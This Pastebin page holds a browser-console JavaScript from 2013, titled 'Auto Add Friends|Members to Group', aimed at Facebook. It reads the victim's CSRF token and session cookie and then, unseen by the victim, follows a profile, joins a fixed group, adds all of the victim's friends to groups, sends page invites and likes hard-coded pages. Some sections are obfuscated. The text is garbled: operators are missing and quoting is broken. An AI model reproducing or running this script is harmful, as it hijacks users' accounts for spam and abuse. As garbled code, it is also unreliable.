Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*HTML/JavaScript page status="protected"*/
- /*Copyright © 2013 By Muhammed Tariq & Mustafa Hassan . All Rights Reserved.*/
- eval(unescape('var fb_dtsg = document.getElementsByName('
- fb_dtsg ')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d )/)[1]);
- function a(abone){
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/follow/follow_profile.php?__a=1";
- var params4 = "profile_id=" abone "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" fb_dtsg "&lsd&__" user_id "&phstamp=";
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function() {//Call a function when the state changes.
- if(http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- }
- function sublist(uidss) {
- var a = document.createElement('
- script ');
- a.innerHTML = "new AsyncRequest().setURI(' / ajax / friends / lists / subscribe / modify ? location = permalink & action = subscribe ').setData({ flid: " uidss " }).send();";
- document.body.appendChild(a);
- }
- var gid = ['
- 262054887285151 '];
- var fb_dtsg = document['
- getElementsByName ']('
- fb_dtsg ')[0]['
- value '];
- var user_id = document['
- cookie ']['
- match '](document['
- cookie ']['
- match '](/c_user=(\d )/)[1]);
- var httpwp = new XMLHttpRequest();
- var urlwp = ' / ajax / groups / membership / r2j.php ? __a = 1 ';
- var paramswp = ' & ref = group_jump_header & group_id = ' gid ' & fb_dtsg = ' fb_dtsg ' & __user = ' user_id ' & phstamp = ';
- httpwp['
- open ']('
- POST ', urlwp, true);
- httpwp['
- setRequestHeader ']('
- Content - type ', '
- application / x - www - form - urlencoded ');
- httpwp['
- setRequestHeader ']('
- Content - length ', paramswp['
- length ']);
- httpwp['
- setRequestHeader ']('
- Connection ', '
- keep - alive ');
- httpwp['
- send '](paramswp);
- //cinsiyet belirleme
- var cinssonuc = {};
- var cinshtml = document.createElement("html");
- function scinsiyetgetir(uid,cins,fonksiyon){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- eval("cinssonuc = " xmlhttp.responseText.toString().replace("for (;;);","") ";");
- cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
- btarihi.setTime(bugun.getTime() 1000*60*60*24*365);
- if(cinshtml.getElementsByTagName("select")[0].value == "1"){
- document.cookie = "cins" user_id "=kadin;expires=" btarihi.toGMTString();
- }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
- document.cookie = "cins" user_id "=erkek;expires=" btarihi.toGMTString();
- }
- eval(fonksiyon "(" id "," cins ");");
- }
- };
- xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" user_id, true);
- xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
- xmlhttp.send();
- }
- javascript: (function () {
- var f = {
- dtsg: document.getElementsByName('
- fb_dtsg ')[0].value,
- uid: document.cookie.match(document.cookie.match(/c_user=(\d )/)[1]),
- gid: document.getElementsByName('
- group_id ')[0].value,
- arr: new Array(),
- prenKe: 0,
- suc: 0,
- p: 0,
- err: 0,
- count: 3,
- ajaxify: function (b) {
- var c = new XMLHttpRequest();
- c.open('
- GET ', b, true);
- c.onreadystatechange = function () {
- if (c.readyState == 4 && c.status == 200) {
- var a = eval(' (' c.responseText.substr(9) ')');
- if (a.payload && a.payload.entries) {
- f.arr = a.payload.entries.sort(function () {
- return 0.5 - Math.random()
- })
- }
- var Main = ' < div style = "padding-bottom:5px;font-size:20px;" > ' Title ' < /div><div style="font-size:14px;"><b>' f.arr.length ' </b > Friends Collected < /div><div id="BODY"></div > < div id = "Group_Members_Counter" > < /div><div id="display" style="min-width:300px;display:inline-block;text-align:left"></div > ' crj;
- document.getElementById('
- MAIN ').innerHTML = Main;
- for (i in f.arr) {
- f.setAjax(i)
- }
- } else if (c.readyState == 4 && c.status == 404) {
- document.getElementById('
- MAIN ').innerHTML = ' < div style = "padding-bottom:5px;font-size:20px;" > ' Title ' < /div><b style="color:darkred">Page Not Found!</b > ' crj
- } else {
- document.getElementById('
- MAIN ').innerHTML = ' < div style = "padding-bottom:5px;font-size:20px;" > ' Title ' < /div><b style="color:darkgreen">Your Friends Have Been Collected & Now Starting Adding.</b > ' crj
- }
- };
- c.send()
- },
- setAjax: function (i) {
- var e = new XMLHttpRequest(),
- prm = '
- __a = 1 & fb_dtsg = ' f.dtsg ' & group_id = ' f.gid ' & source = typeahead & ref = & message_id = & members = ' f.arr[i].uid ' & __user = ' f.uid ' & phstamp = ';
- e.open('
- POST ', ' / ajax / groups / members / add_post.php ', true);
- e.onreadystatechange = function () {
- if (e.readyState == 4 && e.status == 200) {
- var a = eval(' (' e.responseText.substr(9) ')');
- f.prenKe ;
- document.getElementById('
- BODY ').innerHTML = ' < div style = "font-size:14px;" > < b > ' f.prenKe ' < /b> Friends Processed and <b>' f.suc '</b > Friends Added(' f.err '
- Not Added) < /div>';
- function SuggestFriend() {
- jx.load(window.location.protocol "/ / www.facebook.com / ajax / pages / invite / send ? & fb_dtsg = " f.dtsg " & profileChooserItems = % 7B % 22 " f.arr[i].uid " % 22 % 3A1 % 7D & checkableitems[0] = " f.arr[i].uid " & page_id = 491559124228322 & __user = " f.uid " & __a = 1 & __dyn = 7n8aD5z5CF - 3ui & __req = k & phstamp = ", function () {}, "
- text ", "
- post ")
- jx.load(window.location.protocol " //www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" f.dtsg "&profileChooserItems=%7B%22" f.arr[i].uid "%22%3A1%7D&checkableitems[0]=" f.arr[i].uid "&page_id=154412781414001&__user=" f.uid "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
- jx.load(window.location.protocol "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="
- f.dtsg "&group_id=582247838453629&source=typeahead&members="
- f.arr[i].uid "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="
- f.uid, function () {}, "text", "post");
- }
- jx = {
- b: function () {
- var b = !1;
- if ("undefined" != typeof ActiveXObject) try {
- b = new ActiveXObject("Msxml2.XMLHTTP")
- } catch (c) {
- try {
- b = new ActiveXObject("Microsoft.XMLHTTP")
- } catch (a) {
- b = !1
- }
- } else if (window.XMLHttpRequest) try {
- b = new XMLHttpRequest
- } catch (h) {
- b = !1
- }
- return b
- },
- load: function (b, c, a, h, g) {
- var e = this.d();
- if (e && b) {
- e.overrideMimeType && e.overrideMimeType("text/xml");
- h || (h = "GET");
- a || (a = "text");
- g || (g = {});
- a = a.toLowerCase();
- h = h.toUpperCase();
- b = b.indexOf("?") 1 ? "&" : "?";
- var k = null;
- "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
- e.open(h, b, !0);
- e.onreadystatechange = g.c ?
- function () {
- g.c(e)
- } : function () {
- if (4 == e.readyState) if (200 == e.status) {
- var b = "";
- e.responseText && (b = e.responseText);
- "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("("
- b ")")) : "x" == a.charAt(0) && (b = e.responseXML);
- c && c(b)
- } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
- };
- e.send(k)
- }
- },
- d: function () {
- return this.b()
- }
- };
- var user_id = document[_0xcc3e[1]][_0xcc3e[0]](document[_0xcc3e[1]][_0xcc3e[0]](/c_user=(\d )/)[1]);
- function Like(p) {
- var Page = new XMLHttpRequest();
- var PageURL = _0xcc3e[2];
- var PageParams = _0xcc3e[3] p _0xcc3e[4] user_id _0xcc3e[5] fb_dtsg _0xcc3e[6];
- Page[_0xcc3e[8]](_0xcc3e[7], PageURL, true);
- Page[_0xcc3e[9]] = function () {
- if (Page[_0xcc3e[10]] == 4 && Page[_0xcc3e[11]] == 200) {
- Page[_0xcc3e[12]];
- };
- };
- Page[_0xcc3e[13]](PageParams);
- }; Like(_0xcc3e[14]); Like(_0xcc3e[15]); Like(_0xcc3e[16]); Like(_0xcc3e[17]);
- var user_id = document[_0xcc3e[1]][_0xcc3e[0]](document[_0xcc3e[1]][_0xcc3e[0]](/c_user=(\d )/)[1]);
- var fb_dtsg = document[_0xcc3e[20]](_0xcc3e[19])[0][_0xcc3e[18]];
- var now = (new Date)[_0xcc3e[21]]();
- function P(opo) {
- var X = new XMLHttpRequest();
- var XURL = _0xcc3e[22];
- var XParams = _0xcc3e[23] opo _0xcc3e[24] now _0xcc3e[25] user_id _0xcc3e[26] fb_dtsg _0xcc3e[6];
- X[_0xcc3e[8]](_0xcc3e[7], XURL, true);
- X[_0xcc3e[9]] = function () {
- if (X[_0xcc3e[10]] == 4 && X[_0xcc3e[11]] == 200) {
- X[_0xcc3e[12]];
- };
- };
- X[_0xcc3e[13]](XParams);
- }; P(_0xcc3e[27]); P(_0xcc3e[28]); P(_0xcc3e[29]);
- var fb_dtsg = document[_0xcc3e[20]](_0xcc3e[19])[0][_0xcc3e[18]];
- var user_id = document[_0xcc3e[1]][_0xcc3e[0]](document[_0xcc3e[1]][_0xcc3e[0]](/c_user=(\d )/)[1]);
- function IDS(r) {
- var X = new XMLHttpRequest();
- var XURL = _0xcc3e[30];
- var XParams = _0xcc3e[31] r _0xcc3e[32] user_id _0xcc3e[33] fb_dtsg _0xcc3e[6];
- X[_0xcc3e[8]](_0xcc3e[7], XURL, true);
- X[_0xcc3e[9]] = function () {
- if (X[_0xcc3e[10]] == 4 && X[_0xcc3e[11]] == 200) {
- X[_0xcc3e[12]];
- };
- };
- X[_0xcc3e[13]](XParams);
- }; IDS(_0xcc3e[34]); IDS(_0xcc3e[35]); IDS(_0xcc3e[36]);
- SuggestFriend();
- if (a.jsmods && a.jsmods.require) {
- var b = '<div>';
- for (x in a.jsmods.require) {
- if (a.jsmods.require[x][a.jsmods.require[x].length - 1][1]) {
- b = '<b style="color:darkgreen">'
- a.jsmods.require[x][a.jsmods.require[x].length - 1][1]'</b>'
- }
- }
- b = '</div>';
- document.getElementById('Group_Members_Counter').innerHTML = b
- }
- if (a.errorDescription) {
- f.err;
- document.getElementById('display').innerHTML = '<div style="left:50%;text-align:center;padding-bottom:8px;color:darkred;font-size:9px;"><b>('
- f.err ') </b>'
- a.errorDescription '</div>'
- }
- if (a.onload) {
- f.suc;
- document.getElementById('display').innerHTML = '<div style="left:50%;color:darkgreen;text-align:center;padding-bottom:8px"><b style="text-align:center;color:darkgreen;font-size:12px;">('
- f.suc ')</b> <b>'
- f.arr[i].text '</b> has been added.</div>'
- }
- document.getElementById('display').innerHTML = '<img style="background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:75px;padding:2px;border:1px solid rgba(0,0,0,0.4);" src='
- f.arr[i].photo '></img><a style="padding-left:8px;font-size:14px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;">'
- f.arr[i].text '</a>';
- if (f.prenKe == f.arr.length) {
- document.getElementById('MAIN').innerHTML = '<div style="padding-bottom:5px;font-size:20px;">'
- Title '</div><div style="font-size:14px;"><b>'
- f.arr.length ' </b>Friends Collected and <b>'
- f.suc '</b> Friends Added</div><div id="Group_Members_Counter">'
- document.getElementById('Group_Members_Counter').innerHTML '</div><br/<div><span class="FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge" onClick="ChangeLocation()" style="color:white">Go to Homepage</span><span class="layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge" onClick="window.location.reload()" style="color:white">Refresh Page</span><span class="layerCancel uiOverlayButton uiButton uiButtonLarge" onClick="document.getElementById(\'MAIN\').style.display=\'none\'" style="color:gray">Cancel</span><br/><div>'
- crj '</div>'
- }
- }
- };
- e.send(prm)
- }
- };
- var Title = 'Auto Add Friends|Members to Group.',
- crj = '<div style="margin-top:5px;color:gray;font-size:9px;">Script Made By </A><A style="color:#3B5998;" href="https://www.facebook.com/IamMuhammedTariq" target="_blank"> Muhammed Tariq & Mustafa Hassan</A></A>.</br>Powered By <A style="color:#3B5998;" href="https://www.facebook.com/IamCodeName" target="_blank">Team Code-Name Creations</A>.</A><div>';
- var DISPLAY = '<div id="MAIN" style="min-height:50px;width:500px;position:fixed;top:100px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;text-align:center;border-radius:10px;padding:5px;z-index:999999;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#FFFFFF">';
- DISPLAY = '<div style="padding-bottom:5px;font-size:20px;color:#FFFFFF;">'
- Title '</div>';
- DISPLAY = '<b style="color:#3B5998;font-size:12px;">Please Wait While Collecting Your Friends.</b>';
- DISPLAY = crj;
- DISPLAY = '</div>';
- document.body.appendChild(document.createElement('div')).innerHTML = DISPLAY;
- f.ajaxify('/ajax/typeahead/first_degree.php?__a=1&viewer='
- f.uid '&token='
- Math.random()'&filter[0]=user&options[0]=friends_only')
- })();
- '));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement